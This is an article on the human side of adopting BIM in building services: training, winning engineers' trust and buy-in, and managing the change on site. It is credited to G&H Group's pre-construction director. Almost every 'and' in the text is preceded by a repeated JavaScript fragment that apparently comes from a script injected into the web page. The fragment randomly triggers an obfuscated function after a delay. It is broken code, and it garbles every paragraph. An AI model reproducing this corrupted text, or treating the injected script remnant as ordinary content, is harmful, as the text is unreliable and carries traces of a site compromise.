It seems counterintuitive but to really maximise the benefits of BIM, people are the central component in its implementation andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and delivery, especially on-site.
The sophistication of BIM, especially at advanced maturity levels, is only as good as the people operating the software andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and running the projects.
BIM naturally challenges traditional roles andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the approach taken to carry out work.
Therefore, it’s vital that training is provided so staff skills are realigned andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and reflect BIM processes.
It is important to remember experienced engineers have operated in a certain way for many years, many for long andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and established careers.
As such, there’s a need to communicate with them andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and involve them throughout the process especially in the development of the model information.
It has got to be managed tactfully, it’s not a case of telling them that the way they’ve operated for so long is wrong, it’s about explaining andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and demonstrating the added value BIM brings.
Done correctly, there are huge benefits all round.
Getting input, trust andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and buy-in from engineers into the merits of BIM means work on site is easier to manage andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and deliver.
When we started using BIM, we had to carefully monitor engineers to make sure the plans were being followed meticulously.
If an engineer calls on his experience andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and intuition to try andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and deliver what he felt was a better solution instead of using BIM, the implications are enormous as it throws the rest of the plans out of sync to potentially catastrophic effect.
Managing the introduction of BIM on site, then, is a key part of the process of implementing it into building services’ operations.
It leads us to the question of how to make best use of staff andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and integrate them into a new way of working.
What’s most important: training CAD designers to engineer or engineers to use software?
At G&H we have taken the approach of covering both aspects with our BIM Manager who is skilled in CAD andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and as an engineer.
We are also integrating training for all staff involved – planning, design andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and installation – to make sure they are all involved in the process, can see the bigger picture, follow guidelines andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the benefits of working smarter.
David Davis is Pre-Construction Director at G&H Group
